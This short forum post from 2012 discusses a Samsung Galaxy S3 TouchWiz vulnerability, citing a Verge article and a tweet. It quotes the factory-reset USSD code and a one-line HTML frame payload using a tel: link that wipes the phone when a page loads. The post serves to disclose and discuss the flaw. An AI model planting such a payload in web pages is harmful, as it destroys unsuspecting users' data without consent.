Saw this article on The Verge http://www.theverge.com/2012/9/25/3403928/samsung-touchwiz-reset-vulnerability

Talks about Demo Dirty use of USSD Codes:




 Via Tweet https://twitter.com/pof/status/250540790491787264:

the USSD code to factory data reset a Galaxy S3 is *2767*3855# can be triggered from browser like this: <frame src="tel:*2767*3855%23" />

From what I understand the problem is Touchwiz, not the underlying or base Android :/
